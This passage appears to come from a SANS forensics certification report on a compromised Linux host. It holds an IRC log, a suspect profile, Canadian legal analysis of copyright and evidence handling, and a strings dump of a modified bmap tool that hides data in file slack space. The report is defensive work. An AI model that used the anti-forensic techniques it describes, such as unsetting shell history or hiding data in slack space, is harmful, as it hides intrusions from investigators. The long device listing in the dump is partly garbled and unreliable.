\[\text{:stockholm.SE.eu.Undernet.org 251 MrIdiot :There are 52305 users and 71548 invisible on 36 servers}\]
\[\text{:stockholm.SE.eu.Undernet.org 252 MrIdiot :operator(s) online}\]
\[\text{:stockholm.SE.eu.Undernet.org 253 MrIdiot 213 :unknown connection(s)}\]
\[\text{:stockholm.SE.eu.Undernet.org 254 MrIdiot 46487 :channels formed}\]
\[\text{:stockholm.SE.eu.Undernet.org 255 MrIdiot :I have 9236 clients and 1 servers}\]
\[\text{:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :Highest connection count: 9510 (9509 clients)}\]
\[\text{:stockholm.SE.eu.Undernet.org 375 MrIdiot : stockholm.SE.eu.Undernet.org Message of the Day -}\]
\[\text{:stockholm.SE.eu.Undernet.org 372 MrIdiot :Type /MOTD to read the AUP before continuing using this service.}\]
\[\text{:stockholm.SE.eu.Undernet.org 372 MrIdiot :The message of the day was last changed: 2003-1-21 16:57}\]
\[\text{:stockholm.SE.eu.Undernet.org 376 MrIdiot :End of /MOTD command.}\]
\[\text{:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :on 1 ca 1(4) ft 10(10) tr WHOIS MrIdiot}\]
\[\text{:stockholm.SE.eu.Undernet.org 311 MrIdiot MrIdiot -Idiot XXX.XXX.5.35 * :Idiot}\]
\[\text{:stockholm.SE.eu.Undernet.org 312 MrIdiot MrIdiot :Bredbandsbolaget's IRC Server}\]
\[\text{:stockholm.SE.eu.Undernet.org 317 MrIdiot MrIdiot 0 1056922387 :seconds idle, signon time}\]
\[\text{:stockholm.SE.eu.Undernet.org 318 MrIdiot MrIdiot :End of /WHOIS list.}\]

Our subject(s) are likely learning the ropes, and are attempting to prove themselves to others in their group by hacking into as many computers as possible. The suspect is not a detail person as seen in the mistyping of commands such as “unset HISTFILES” and doesn’t review his/her own install logs.

Improvements made to the Live Response procedure are;

- File listing has been changed from listing only the /proc file system to listing all files and directories recursively. Changed from ‘ls -al /proc’ to ‘ls -aliR /’.
- A second file listing has been added that will parse out the inode listings for the file system. Added ‘ls -aliR /’.
Section 3

3. Legal Issues of Incident Handling

3.1. Questions:

Question. Based upon the type of material John Price was distributing, what if any, laws have been broken based upon the distribution?

The reference to Ripped MP3 files at the various website and the message to Mike are evidence of copyright infringement. The sections of the Canadian copyright law that would be applied to this are civil and criminal. In the “Copyright Act of Canada, Part IV – Remedies S.34, S35, S38.1” we find the following:

Civil Remedies

34. (1) Where copyright has been infringed, the owner of the copyright is, subject to this Act, entitled to all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(2) In any proceedings for an infringement of a moral right of an author, the court may grant to the author or to the person who holds the moral rights by virtue of subsection 14.2(2) or (3), as the case may be, all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(3) The costs of all parties in any proceedings in respect of the infringement of a right conferred by this Act shall be in the discretion of the court.

(4) The following proceedings may be commenced or proceeded with by way of application or action and shall, in the case of an application, be heard and determined without delay and in a summary way:

(a) proceedings for infringement of copyright or moral rights;
(b) proceedings taken under section 44.1, 44.2 or 44.4; and
(c) proceedings taken in respect of

(i) a tariff certified by the Board under Part VII or VIII, or
(ii) agreements referred to in section 70.12.

35. (1) Where a person infringes copyright, the person is liable to pay such damages to the owner of the copyright as the owner has suffered due to the infringement and, in addition to those damages, such part of the profits that the infringer has made from the infringement and that were

---

not taken into account in calculating the damages as the court considers just.

(2) In proving profits,

(a) the plaintiff shall be required to prove only receipts or revenues derived from the infringement; and

(b) the defendant shall be required to prove every element of cost that the defendant claims.

(c) in any other case, if the court is of the opinion that the interests of justice do not require the copyright owner to be a party

38.1 (1) Subject to this section, a copyright owner may elect, at any time before final judgment is rendered, to recover, instead of damages and profits referred to in subsection 35(1), an award of statutory damages for all infringements involved in the proceedings, with respect to any one work or other subject-matter, for which any one infringer is liable individually, or for which any two or more infringers are liable jointly and severally, in a sum of not less than $500 or more than $20,000 as the court considers just.

Depending on intent and cooperation the fines faced by the defendant in civil court can be expensive. The “Criminal Remedies” section carry not only fines but the added possibility of jail time. The section of the “Copyright Act” that applies to the Criminal aspect of Copyright infringement is “Copyright Act of Canada, Part IV – Remedies S.42”. In this section we find the statement “Every person who knowingly”. The factor that determines the pressing of Criminal charges would be “intent”. For our case we see intent in the letter written to Mike. The topic of discussion is on “advanced orders for the next run”. The actions being taken are deliberate, the factors that show they know it’s illegal and wrong are things like hiding the MP3 access sites in slack space of a file. The other factor is the alteration of the bmap source code. Below are some sections from the Criminal Remedies area of the Copyright Act of Canada:

**Criminal Remedies**

42. (1) Every person who knowingly

(a) makes for sale or rental an infringing copy of a work or other subject-matter in which copyright subsists,

(b) sells or rents out, or by way of trade exposes or offers for sale or rental, an infringing copy of a work or other subject-matter in which copyright subsists,

(c) distributes infringing copies of a work or other subject-matter in which copyright subsists, either for the purpose of trade or to such an extent as to affect prejudicially the owner of the copyright,

(d) by way of trade exhibits in public an infringing copy of a work or other subject-matter in which copyright subsists, or

---

(e) imports for sale or rental into Canada any infringing copy of a work or other subject-matter in which copyright subsists

is guilty of an offence and liable

(f) on summary conviction, to a fine not exceeding twenty-five thousand dollars or to imprisonment for a term not exceeding six months or to both, or

(g) on conviction on indictment, to a fine not exceeding one million dollars or to imprisonment for a term not exceeding five years or to both.

(4) Proceedings by summary conviction in respect of an offence under this section may be instituted at any time within, but not later than, two years after the time when the offence was committed.

If found guilty of a summary conviction under section 42 of the Copyright Act the suspect faces fines up to $25,000.00 and a jail term of 6 months. For a summary conviction there is a two year time limit. If you are convicted on indictment the fines are up to 1 million dollars and jail for up to 5 years.

Question. What would the appropriate steps be to take if you discovered this information on your systems?

The information on the system is a violation of the Copyright Act as indicated above. The information must be handled as any other evidence. The requirements for electronic evidence gathering are indicated in the Canada Evidence Act – Authentication of Electronic Documents – S.31.1, - Application of Best Evidence Rule-Electronic documents /printouts – S.31.2 and Presumption of Integrity – S.31.3. In accordance with the above sections the “burden of proving its authenticity” is required by the person wishing to admit the evidence. The evidence is required to support the claim that the document is what it claims to be.

The method used to gather the evidence must be verified. Note taking and using two people ensures there is independent verification and integrity of the evidence. The evidence gathering must include the identification and verification processes. The use of MD5 checksum hashes are meant to prove authenticity and integrity of the evidence. Placing the seized media into a secure area and using evidence bags initialed by the investigators maintains the evidence chain. The hardware write block device used for the image ensure the evidence is not modified.

The application of the best-evidence rule (S31.2) allows for the use of printout to be used as evidence of an electronic document. Printouts of evidence reports ensure its availability and provide backup in cases were the electronic media may be unavailable or destroyed.
Question. In the event your corporate counsel decides to not pursue the matter any further at this point, what steps should you take to ensure any evidence you collect can be admissible in proceedings in the future should the situation change?

To ensure the evidence gathered could be admissible in the future the same standards for evidence gathering that law enforcement uses would be applied. The evidence would be gathered by two people and documented. A live response would be conducted to ensure the running processes are recorded. Next, the box would be either shutdown properly or unplugged, depending on the type of Operating system being dealt with. The note taking by the two investigators must include dates, times, commands run, MD5 hashes of files and evidence gathered. Initialing of all evidence and the use of evidence bags that are sealed and initialed. All evidence gathered would be stored in a secure (locked) location.

Other provisions of the Criminal Code for gathering the evidence are covered in the Canada Evidence Act. The sections of interest are (31.1) Authentication of Electronic Documents, (31.2) Application of Best Evidence Rule-Electronic Documents and (S31.3) Presumption of Integrity. Refer to the section above.

Question. How would your actions change if your investigation disclosed that John Price was distributing child pornography?

Child pornography is a serious criminal offense. Corporate counsel would be advised then the authorities would be contacted immediately. The provisions in the Criminal Code of Canada provide clear guidelines on the action to be taken. (see Appendix G for complete listing of the Criminal Code of Canada pertaining to Child Pornography).

The Child pornography section of the Criminal Code of Canada is section 163.1. Item 3 under section 163.1 states:

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or
(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

The provisions in section 163.1 (3) allow the company hosting to be charged if immediate action is not taken.

The machine in question would be imaged following the forensic methodology outlined below.

- Two investigators present.
- Extensive note taking, including dates and times, commands run.
- MD5 checksums on the evidence.
- Strong chain of evidence through the use of evidence bags and initialed seals. Secure storage of all evidence.

The preference for who gathers the evidence would be to gather the evidence and wait for law enforcement to execute a proper Search warrant. To ensure due process law enforcement is required to obtain a search warrant under the Criminal Code of Canada, S.487 (1) a-c, and S.487(2.1) a-d & (2.2) a-c. It states:

487. (1) A justice who is satisfied by information on oath in Form 1 that there are reasonable grounds to believe that there is in a building, receptacle or place

(a) anything on or in respect of which any offence against this Act or any other Act of Parliament has been or is suspected to have been committed,

b) anything that there are reasonable grounds to believe will afford evidence with respect to the commission of an offence, or will reveal the whereabouts of a person who is believed to have committed an offence, against this Act or any other Act of Parliament,

(c) anything that there are reasonable grounds to believe is intended to be used for the purpose of committing any offence against the person for which a person may be arrested without warrant, or

may at any time issue a warrant authorizing a peace officer or a public officer who has been appointed or designated to administer or enforce a federal or provincial law and whose duties include
the enforcement of this Act or any other Act of Parliament and
who is named in the warrant.
.
.
(2.1) A person authorized under this section to search a computer
system in a building or place for data may

(a) use or cause to be used any computer system at the building or
place to search any data contained in or available to the computer
system;

(b) reproduce or cause to be reproduced any data in the form of a
print-out or other intelligible output;

(c) seize the print-out or other output for examination or copying;
and

(d) use or cause to be used any copying equipment at the place to
make copies of the data.

(2.2) Every person who is in possession or control of any
building or place in respect of which a search is carried out
under this section shall, on presentation of the warrant, permit
the person carrying out the search

(a) to use or cause to be used any computer system at the
building or place in order to search any data contained in or
available to the computer system for data that the person is
authorized by this section to search for;

(b) to obtain a hard copy of the data and to seize it; and

(c) to use or cause to be used any copying equipment at the place
to make copies of the data.\textsuperscript{12}

Once the search warrant was executed by Law Enforcement the evidence would
be turned over to Law Enforcement.

\textsuperscript{12} “Criminal Code of Canada, Part XV, Special Procedure and Powers” S487 (1) a-d, (2.1) a-d, (2.2) a-c’,
Appendices

Appendix A

Prog file strings listing

Strings dump – file prog, from Linux 7.3 VMware workstation.

PTRh  QVhx  h@=  h@=
 hK= h@=  0hT=  0hT=
 h@= 0he=  0hT=  0hT=
 h@=  h@= h@=  h@=
h=> hP>  0hm>  0hm>
 h@= h$?  h$?  h$?
h??  h??  h??  h??
hH? PhI? PhI? PhI?
hU? hI? hI? hI?
hg? hI? hI? hI?
hy? Ph @ Ph @ Ph @
 0h A  0h@A  0h B  0h B
 0h B  0h&c  0h5c  0h5c
 0hDC  0hXC  0h_C  0h_C
 0hbC  hhC  0hnC  0hnC
hzC  h, D  0h7D  0h7D
 0h D  0h_C  0hbC  0hbC
hzc  h, D  0h- E  0h- E
h8i  hdi  hXI  hXI
h) J  hcI  hI  hI
h K  PhAK  PhAK  PhAK
hlK  hbk  hUK  hUK
hhK  huK  hbk  hbk
huaK  PhHK  hHK  hHK
h L  hM  h: M  h: M
hkM  h\ M  RPSQ  h0n
RPSQ  [^_]  h0n
I, RPSQ  h_N  p0hxN
h8N  h\ M  h@0
heO  h^_  X^_  X^_
[^_]  L[^_]  tY9u  < v61
ug;]  s=;]  PSh|
[^_]  XZSV  VPVS
[^_]  [^_]  [^_]
<bt!<b  RPSW  /FBH~
[^_]  tS t<
[^_]  tS t<  tS t<
PVRS  t$QVPS
G +G  t$QVPS
V +V  t$QVPS
[^_]  FDHP  t$QVPS
[^_]  tPS  t$QVPS
[^_]  VPRQ  ~*PSV
[^_]  VPRQ  ~*PSV
[^_]  VSPQ  ~VQSV
[^_]  VSPQ  ~VQSV
examining a filename or url! flag-
matched against an enum val arg matches against %
matches against %
nbd-server fatal branch
mft_log_shutdown exit blue orange <table
bgcolor=%s<tr><td>$s:
%s</td></tr></table></br>
Brazil %$ "$s" "$s" "$s"

\fIOPTION\fR... \fB-%s\fR \fIARG\fR %s
\fB-%s\fR \fIVALUE\fR %s
\fB-%s\fR \fIVALUE\fR can be one of:
\fB-%s\fR \fISHORTHAND\fR INVOKATION:

\fB-%s\fR %s

Report bugs to %s.Usage: %s [OPTION]...
Kevin Miller - Sans GCFA Assignment – v1.4

---

--%s %s
--%s <filename> %s
> %s
  %s %s
[&lt;%s-filename&gt;]

<desc>
  <tag>--%s</tag> %s
</desc>

<tag>--%s &lt;int&gt;&lt;/tag&gt;
%s
&amp;gt;&lt;/tag&gt; %s
</desc>

operate on ...
progress
error
logging threshold ...
verbose
label
test for fragmentation
(returns 0 if file is fragmented)
frag

test (returns 0 if exist)
display data
operation to perform on files
sgml
help
autogenerate document ...
use block-list knowledge to perform special operations on files
off_t too small!
try '--help' for help.

07/15/03
how did we get here?

invalid option: %s
no filename. try '--help' for help.
%s is not a regular file.
Unable to open file: %s
Unable to determine blocksize:
error mapping block %d (%s)

read error

% has holes in excess of %d bytes...
seek failure

%d fragmented between %d and %d

file size was: %ld seek error

slack size: %d # File: %s Location: %ld size: %d
%s does not have slack
bmap_get_slack_block

 NULL value for slack_block
error getting block count
error mapping block %d.
ioctl failed with %s
unable to stat fd

s has slack
%s does not have fragmentation

Unable to stat fd
fd has no blocks
error mapping block %d.
block returned 0
unable to determine filesystem reports 0

Kevin Miller - Sans GCFA Assignment – v1.4

---

--%s %s
--%s <arg> %s
--%s <int> %s
  where VALUE is one of:
  &lt;tt&gt;$ VALUE&lt;/tt&gt; invocation
  &lt;tt&gt;$ &lt;/tt&gt; &lt;tt&gt;$ OPTION&lt;/tt&gt;
Where &lt;bf&gt;OPTION&lt;/bf&gt; may include any of:
  &lt;tag>--%s &lt;/arg&gt;&lt;/tag&gt; %s
</desc>

<tag>--%s &lt;/int&gt;&lt;/tag&gt;
%s
&amp;gt;&lt;/tag&gt; %s
</desc>

operate on ...
progress
error
logging threshold ...
verbose
label
test for fragmentation
(returns 0 if file is fragmented)
frag

test (returns 0 if exist)
display data
operation to perform on files
sgml
help
autogenerate document ...
use block-list knowledge to perform special operations on files
off_t too small!
try '--help' for help.

07/15/03
how did we get here?

invalid option: %s
no filename. try '--help' for help.
%s is not a regular file.
Unable to open file: %s
Unable to determine blocksize:
error mapping block %d (%s)

read error

% has holes in excess of %d bytes...
seek failure

%d fragmented between %d and %d

file size was: %ld seek error

slack size: %d # File: %s Location: %ld size: %d
%s does not have slack
bmap_get_slack_block

 NULL value for slack_block
error getting block count
error mapping block %d.
ioctl failed with %s
unable to stat fd

s has slack
%s does not have fragmentation

Unable to stat fd
fd has no blocks
error mapping block %d.
block returned 0
unable to determine filesystem reports 0
computed block count: %d
bmap_map_block
null block while mapping
block %d.

FILENAME supplied
unable to determine raw
device of %s
unable to open raw device %s
raw fd is %d

/stat reports %d blocks: %d
filesystem blocksize
blocksize
bmap_get_block_size
bmap_raw_open

Unable to stat file: %s %s is not a regular file.
Unable to stat raw device %s
device mismatch 0x%x != 0x%x
Unable to open raw device %s
raw fd is %d

write error
bogowipe

/.../image
/dev/xdb9
/dev/xdb63
/dev/xdb60
/dev/xdb58
/dev/xdb55
/dev/xdb52
/dev/xdb49
/dev/xdb46
/dev/xdb43
/dev/xdb40
/dev/xdb39
/dev/xdb36
/dev/xdb33
/dev/xdb30
/dev/xdb28
/dev/xdb25
/dev/xdb22
/dev/xdb17
/dev/xdb14
/dev/xdb11
/dev/xdb
/dev/xda9
/dev/xda7
/dev/xda61
/dev/xda59
/dev/xda56
/dev/xda53
/dev/xda50
/dev/xda48
/dev/xda45
/dev/xda42
/dev/xda4
/dev/xda37
/dev/xda34
/dev/xda31
/dev/xda29
/dev/xda26
/dev/xda23
/dev/xda20
/dev/xda18
/dev/xda15
/dev/xda12
/dev/xda1
/dev/sjcd
/dev/sdz9
/dev/sdz7
/dev/sdz4
/dev/sdz15
/dev/sdo3  /dev/sdo2  /dev/sdo15
/dev/sdo14  /dev/sdo13  /dev/sdo12
/dev/sdo11  /dev/sdo10  /dev/sdo1
/dev/sdo  /dev/sdn9  /dev/sdn8
/dev/sdn7  /dev/sdn6  /dev/sdn5
/dev/sdn4  /dev/sdn3  /dev/sdn2
/dev/sdn15  /dev/sdn14  /dev/sdn13
/dev/sdn12  /dev/sdn11  /dev/sdn10
/dev/sdn1  /dev/sdn  /dev/sdm9
/dev/sdm8  /dev/sdm7  /dev/sdm6
/dev/sdm5  /dev/sdm4  /dev/sdm3
/dev/sdm2  /dev/sdm15  /dev/sdm14
/dev/sdm13  /dev/sdm12  /dev/sdm11
/dev/sdm10  /dev/sdm1  /dev/sdm
/dev/sd19  /dev/sd18  /dev/sdj17
/dev/sd16  /dev/sd15  /dev/sdj14
/dev/sd13  /dev/sd12  /dev/sdj15
/dev/sd114  /dev/sd113  /dev/sdj12
/dev/sd111  /dev/sd110  /dev/sdj11
/dev/sd1  /dev/sd9  /dev/sdk8
/dev/sd7  /dev/sd6  /dev/sdk5
/dev/sd4  /dev/sd3  /dev/sdk2
/dev/sd15  /dev/sd14  /dev/sdk13
/dev/sd12  /dev/sd11  /dev/sdk10
/dev/sd1  /dev/sdk  /dev/sdj9
/dev/sd8  /dev/sd7  /dev/sdj6
/dev/sd5  /dev/sd4  /dev/sdj3
/dev/sd2  /dev/sd15  /dev/sdj14
/dev/sd13  /dev/sd12  /dev/sdj11
/dev/sd11  /dev/sd10  /dev/sdj
/dev/sd1  /dev/sd8  /dev/sdi7
/dev/sd16  /dev/sd15  /dev/sdi4
/dev/sd13  /dev/sd12  /dev/sdi15
/dev/sd114  /dev/sd113  /dev/sdi12
/dev/sd111  /dev/sd110  /dev/sdi11
/dev/sd1  /dev/sd9  /dev/sdh8
/dev/sd7  /dev/sd6  /dev/sdh5
/dev/sd4  /dev/sd3  /dev/sdh2
/dev/sdh15  /dev/sdh14  /dev/sdh13
/dev/sdh12  /dev/sdh11  /dev/sdh10
/dev/sdh1  /dev/sdh  /dev/sdg9
/dev/sdg8  /dev/sdg7  /dev/sdg6
/dev/sdg5  /dev/sdg4  /dev/sdg3
/dev/sdg2  /dev/sdg15  /dev/sdg14
/dev/sdg13  /dev/sdg12  /dev/sdg11
/dev/sdg10  /dev/sdg1  /dev/sdg
/dev/sdf9  /dev/sdf8  /dev/sdf7
/dev/sdf6  /dev/sdf5  /dev/sdf4
/dev/sdf3  /dev/sdf2  /dev/sdf15
/dev/sdf14  /dev/sdf13  /dev/sdf12
/dev/sdf11  /dev/sdf10  /dev/sdf1
/dev/sdf  /dev/sde9  /dev/sde8
/dev/sde7  /dev/sde6  /dev/sde5
/dev/sde4  /dev/sde3  /dev/sde2
/dev/sde15  /dev/sde14  /dev/sde13
/dev/sde12  /dev/sde11  /dev/sde10
/dev/sde1  /dev/sde  /dev/sdxx9
/dev/sddx8  /dev/sddx7  /dev/sddx6
/dev/sddx5  /dev/sddx4  /dev/sddx3
/dev/sddx2  /dev/sddx15 /dev/sddx14
/dev/sddx13 /dev/sddx12 /dev/sddx11
/dev/sddx10 /dev/sddx1  /dev/sddx
/dev/sddw9  /dev/sddw8  /dev/sddw7
/dev/sddw6  /dev/sddw5  /dev/sddw4
/dev/sddw3  /dev/sddw2  /dev/sddw15
/dev/sddw14 /dev/sddw13 /dev/sddw12
/dev/sddw11 /dev/sddw10 /dev/sddw1
/dev/sddw  /dev/sddv9  /dev/sddv8
/dev/sddv7  /dev/sddv6  /dev/sddv5
/dev/sddv4  /dev/sddv3  /dev/sddv2
/dev/sddv15 /dev/sddv14 /dev/sddv13
/dev/sddv12 /dev/sddv11 /dev/sddv10
/dev/sddv1  /dev/sddv  /dev/sddv9
/dev/sddu8  /dev/sddu7  /dev/sddu6
/dev/sddu5  /dev/sddu4  /dev/sddu3
/dev/sddu2  /dev/sddu15 /dev/sddu14
/dev/sddu13 /dev/sddu12 /dev/sddu11
/dev/sddu10 /dev/sddu1  /dev/sddu
/dev/sddt9  /dev/sddt8  /dev/sddt7
/dev/sddt6  /dev/sddt5  /dev/sddt4
/dev/sddt3  /dev/sddt2  /dev/sddt15
/dev/sddt14 /dev/sddt13 /dev/sddt12
/dev/sddt11 /dev/sddt10 /dev/sddt1
/dev/sddt  /dev/sdds9  /dev/sdds8
/dev/sdds7  /dev/sdds6  /dev/sdds5
/dev/sdds4  /dev/sdds3  /dev/sdds2
/dev/sdds15 /dev/sdds14 /dev/sdds13
/dev/sdds12 /dev/sdds11 /dev/sdds10
/dev/sdds1  /dev/sdds  /dev/sdds9
/dev/sddr8  /dev/sddr7  /dev/sddr6
/dev/sddr5  /dev/sddr4  /dev/sddr3
/dev/sddr2  /dev/sddr15 /dev/sddr14
/dev/sddr13 /dev/sddr12 /dev/sddr11
/dev/sddr10 /dev/sddr1  /dev/sddr
/dev/sddq9  /dev/sddq8  /dev/sddq7
/dev/sddq6  /dev/sddq5  /dev/sddq4
/dev/sddq3  /dev/sddq2  /dev/sddq15
/dev/sddq14 /dev/sddq13 /dev/sddq12
/dev/sddq11 /dev/sddq10 /dev/sddq1
/dev/sddq  /dev/sdp9  /dev/sdp8
/dev/sdp7  /dev/sdp6  /dev/sdp5
/dev/sdp4  /dev/sdp3  /dev/sdp2
/dev/sdp15 /dev/sdp14 /dev/sdp13
/dev/sdp12 /dev/sdp11 /dev/sdp10
/dev/sdp1  /dev/sdp  /dev/sdo
/dev/sdo8  /dev/sdo7  /dev/sdo6
/dev/sdo5  /dev/sdo4  /dev/sdo3
/dev/sdo2  /dev/sdo15 /dev/sdo14
/dev/sdo13 /dev/sdo12 /dev/sdo11
/dev/sdo10 /dev/sdo1  /dev/sdo
/dev/sdn9  /dev/sdn8  /dev/sdn7
/dev/sdn6  /dev/sdn5  /dev/sdn4
/dev/sdn3  /dev/sdn2  /dev/sdn15
/dev/sdn14 /dev/sdn13 /dev/sdn12
/dev/sddn11  /dev/sddn10  /dev/sddn1
/dev/sddn  /dev/sddm9  /dev/sddm8
/dev/sddm7  /dev/sddm6  /dev/sddm5
/dev/sddm4  /dev/sddm3  /dev/sddm2
/dev/sddm15  /dev/sddm14  /dev/sddm13
/dev/sddm12  /dev/sddm11  /dev/sddm10
/dev/sddm1  /dev/sddm  /dev/sddm9
/dev/sdd18  /dev/sdd17  /dev/sdd16
/dev/sdd15  /dev/sdd14  /dev/sdd13
/dev/sdd12  /dev/sdd11  /dev/sdd14
/dev/sdd11  /dev/sdd12  /dev/sdd11
/dev/sdd10  /dev/sdd1  /dev/sdd1
/dev/sddk9  /dev/sddk8  /dev/sddk7
/dev/sddk6  /dev/sddk5  /dev/sddk4
/dev/sddk3  /dev/sddk2  /dev/sddk15
/dev/sddk14  /dev/sddk13  /dev/sddk12
/dev/sddk11  /dev/sddk10  /dev/sddk1
/dev/sddk  /dev/sddj9  /dev/sddj8
/dev/sddj7  /dev/sddj6  /dev/sddj5
/dev/sddj4  /dev/sddj3  /dev/sddj2
/dev/sddj15  /dev/sddj14  /dev/sddj13
/dev/sddj12  /dev/sddj11  /dev/sddj10
/dev/sddj1  /dev/sddj  /dev/sddi9
/dev/sdi8  /dev/sdi7  /dev/sdi6
/dev/sdi5  /dev/sdi4  /dev/sdi3
/dev/sdi2  /dev/sdi15  /dev/sdi14
/dev/sdi13  /dev/sdi12  /dev/sdi11
/dev/sdi10  /dev/sdi1  /dev/sdi
/dev/sdh9  /dev/sdh8  /dev/sdh7
/dev/sdh6  /dev/sdh5  /dev/sdh4
/dev/sdh3  /dev/sdh2  /dev/sdh15
/dev/sdh14  /dev/sdh13  /dev/sdh12
/dev/sdh11  /dev/sdh10  /dev/sdh1
/dev/sdh  /dev/sdg9  /dev/sdg8
/dev/sdg7  /dev/sdg6  /dev/sdg5
/dev/sdg4  /dev/sdg3  /dev/sdg2
/dev/sdg15  /dev/sdg14  /dev/sdg13
/dev/sdg12  /dev/sdg11  /dev/sdg10
/dev/sdg1  /dev/sdg  /dev/sdf9
/dev/sdf8  /dev/sdf7  /dev/sdf6
/dev/sdf5  /dev/sdf4  /dev/sdf3
/dev/sdf2  /dev/sdf15  /dev/sdf14
/dev/sdf13  /dev/sdf12  /dev/sdf11
/dev/sdf10  /dev/sdf1  /dev/sdf
/dev/sde9  /dev/sde8  /dev/sde7
/dev/sde6  /dev/sde5  /dev/sde4
/dev/sde3  /dev/sde2  /dev/sde15
/dev/sde14  /dev/sde13  /dev/sde12
/dev/sde11  /dev/sde10  /dev/sde1
/dev/sde  /dev/sdd9  /dev/sdd8
/dev/sdd7  /dev/sdd6  /dev/sdd5
/dev/sdd4  /dev/sdd3  /dev/sdd2
/dev/sdd15  /dev/sdd14  /dev/sdd13
/dev/sdd12  /dev/sdd11  /dev/sdd10
/dev/sdd1  /dev/sdd  /dev/sdcd9
/dev/sdc8  /dev/sdc7  /dev/sdc6
/dev/sdc5  /dev/sdc4  /dev/sdc3
<table>
<thead>
<tr>
<th>Directory</th>
<th>Directory</th>
<th>Directory</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/sdcs7</td>
<td>/dev/sdcs6</td>
<td>/dev/sdcs5</td>
</tr>
<tr>
<td>/dev/sdcs4</td>
<td>/dev/sdcs3</td>
<td>/dev/sdcs2</td>
</tr>
<tr>
<td>/dev/sdcs15</td>
<td>/dev/sdcs14</td>
<td>/dev/sdcs13</td>
</tr>
<tr>
<td>/dev/sdcs12</td>
<td>/dev/sdcs11</td>
<td>/dev/sdcs10</td>
</tr>
<tr>
<td>/dev/sdcs1</td>
<td>/dev/sdcs</td>
<td>/dev/sdcr9</td>
</tr>
<tr>
<td>/dev/sdcr8</td>
<td>/dev/sdcr7</td>
<td>/dev/sdcr6</td>
</tr>
<tr>
<td>/dev/sdcr5</td>
<td>/dev/sdcr4</td>
<td>/dev/sdcr3</td>
</tr>
<tr>
<td>/dev/sdcr2</td>
<td>/dev/sdcr15</td>
<td>/dev/sdcr14</td>
</tr>
<tr>
<td>/dev/sdcr13</td>
<td>/dev/sdcr12</td>
<td>/dev/sdcr11</td>
</tr>
<tr>
<td>/dev/sdcr10</td>
<td>/dev/sdcr1</td>
<td>/dev/sdcr</td>
</tr>
<tr>
<td>/dev/sdcr9</td>
<td>/dev/sdcr8</td>
<td>/dev/sdcr7</td>
</tr>
<tr>
<td>/dev/sdcr6</td>
<td>/dev/sdcr5</td>
<td>/dev/sdcr4</td>
</tr>
<tr>
<td>/dev/sdcr3</td>
<td>/dev/sdcr2</td>
<td>/dev/sdcr15</td>
</tr>
<tr>
<td>/dev/sdcr14</td>
<td>/dev/sdcr13</td>
<td>/dev/sdcr12</td>
</tr>
<tr>
<td>/dev/sdcr1</td>
<td>/dev/sdro1</td>
<td>/dev/sdro8</td>
</tr>
<tr>
<td>/dev/sdro7</td>
<td>/dev/sdro6</td>
<td>/dev/sdro5</td>
</tr>
<tr>
<td>/dev/sdro4</td>
<td>/dev/sdro3</td>
<td>/dev/sdro2</td>
</tr>
<tr>
<td>/dev/sdro15</td>
<td>/dev/sdro14</td>
<td>/dev/sdro13</td>
</tr>
<tr>
<td>/dev/sdro12</td>
<td>/dev/sdro11</td>
<td>/dev/sdro10</td>
</tr>
<tr>
<td>/dev/sdro1</td>
<td>/dev/sdro</td>
<td>/dev/sdro9</td>
</tr>
<tr>
<td>/dev/sdro8</td>
<td>/dev/sdro7</td>
<td>/dev/sdro6</td>
</tr>
<tr>
<td>/dev/sdro5</td>
<td>/dev/sdro4</td>
<td>/dev/sdro3</td>
</tr>
<tr>
<td>/dev/sdro2</td>
<td>/dev/sdro15</td>
<td>/dev/sdro14</td>
</tr>
<tr>
<td>/dev/sdro13</td>
<td>/dev/sdro12</td>
<td>/dev/sdro11</td>
</tr>
<tr>
<td>/dev/sdcn9</td>
<td>/dev/sdcn8</td>
<td>/dev/sdcn7</td>
</tr>
<tr>
<td>/dev/sdcn6</td>
<td>/dev/sdcn5</td>
<td>/dev/sdcn4</td>
</tr>
<tr>
<td>/dev/sdcn3</td>
<td>/dev/sdcn2</td>
<td>/dev/sdcn15</td>
</tr>
<tr>
<td>/dev/sdcn14</td>
<td>/dev/sdcn13</td>
<td>/dev/sdcn12</td>
</tr>
<tr>
<td>/dev/sdcn11</td>
<td>/dev/sdcn10</td>
<td>/dev/sdcn1</td>
</tr>
<tr>
<td>/dev/sdcn</td>
<td>/dev/sdcn9</td>
<td>/dev/sdcn8</td>
</tr>
<tr>
<td>/dev/sdcn7</td>
<td>/dev/sdcn6</td>
<td>/dev/sdcn5</td>
</tr>
<tr>
<td>/dev/sdcn4</td>
<td>/dev/sdcn3</td>
<td>/dev/sdcn2</td>
</tr>
<tr>
<td>/dev/sdcn15</td>
<td>/dev/sdcn14</td>
<td>/dev/sdcn13</td>
</tr>
<tr>
<td>/dev/sdcn1</td>
<td>/dev/sdcn</td>
<td>/dev/sdcn9</td>
</tr>
<tr>
<td>/dev/sdcn8</td>
<td>/dev/sdcn7</td>
<td>/dev/sdcn6</td>
</tr>
<tr>
<td>/dev/sdcn5</td>
<td>/dev/sdcn4</td>
<td>/dev/sdcn3</td>
</tr>
<tr>
<td>/dev/sdcn2</td>
<td>/dev/sdcn15</td>
<td>/dev/sdcn14</td>
</tr>
<tr>
<td>/dev/sdcn13</td>
<td>/dev/sdcn12</td>
<td>/dev/sdcn11</td>
</tr>
<tr>
<td>/dev/sdcn10</td>
<td>/dev/sdcn1</td>
<td>/dev/sdcn</td>
</tr>
<tr>
<td>/dev/sdcn9</td>
<td>/dev/sdcn8</td>
<td>/dev/sdcn7</td>
</tr>
<tr>
<td>/dev/sdcn6</td>
<td>/dev/sdcn5</td>
<td>/dev/sdcn4</td>
</tr>
<tr>
<td>/dev/sdcn3</td>
<td>/dev/sdcn2</td>
<td>/dev/sdcn15</td>
</tr>
<tr>
<td>/dev/sdcn14</td>
